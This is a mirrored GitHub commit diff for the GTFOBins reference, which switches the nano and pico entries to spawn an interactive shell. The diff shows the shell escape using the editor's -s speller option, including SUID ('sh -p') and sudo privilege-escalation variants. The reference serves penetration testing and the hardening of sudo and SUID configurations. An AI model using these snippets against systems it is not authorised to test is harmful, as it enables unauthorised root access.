mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Make nano/pico execute-interactive by using exec
This commit is contained in:
parent
65c3d3409f
commit
7c0fa85a66
@ -1,11 +1,9 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
execute-non-interactive:
|
execute-interactive:
|
||||||
- description: After running this exit the editor to see the command output.
|
- code: |
|
||||||
code: |
|
|
||||||
COMMAND=id
|
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo 'exec sh' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
nano -s $TF /etc/hosts
|
nano -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
@ -17,20 +15,16 @@ functions:
|
|||||||
file-read:
|
file-read:
|
||||||
- code: nano file_to_read
|
- code: nano file_to_read
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- description: After running this exit the editor to see the command output.
|
- code: |
|
||||||
code: |
|
|
||||||
COMMAND=id
|
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
|
echo 'exec sh -p' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
./nano -s $TF /etc/hosts
|
./nano -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: After running this exit the editor to see the command output.
|
- code: |
|
||||||
code: |
|
|
||||||
COMMAND=id
|
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo 'exec sh' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
sudo nano -s $TF /etc/hosts
|
sudo nano -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
|
@ -1,11 +1,9 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
execute-non-interactive:
|
execute-interactive:
|
||||||
- description: After running this exit the editor to see the command output.
|
- code: |
|
||||||
code: |
|
|
||||||
COMMAND=id
|
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo 'exec sh' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
pico -s $TF /etc/hosts
|
pico -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
@ -17,20 +15,16 @@ functions:
|
|||||||
file-read:
|
file-read:
|
||||||
- code: pico file_to_read
|
- code: pico file_to_read
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- description: After running this exit the editor to see the command output.
|
- code: |
|
||||||
code: |
|
|
||||||
COMMAND=id
|
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
|
echo 'exec sh -p' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
./pico -s $TF /etc/hosts
|
./pico -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: After running this exit the editor to see the command output.
|
- code: |
|
||||||
code: |
|
|
||||||
COMMAND=id
|
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo "$COMMAND" > $TF
|
echo 'exec sh' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
sudo pico -s $TF /etc/hosts
|
sudo pico -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
|
Loading…
Reference in New Issue
Block a user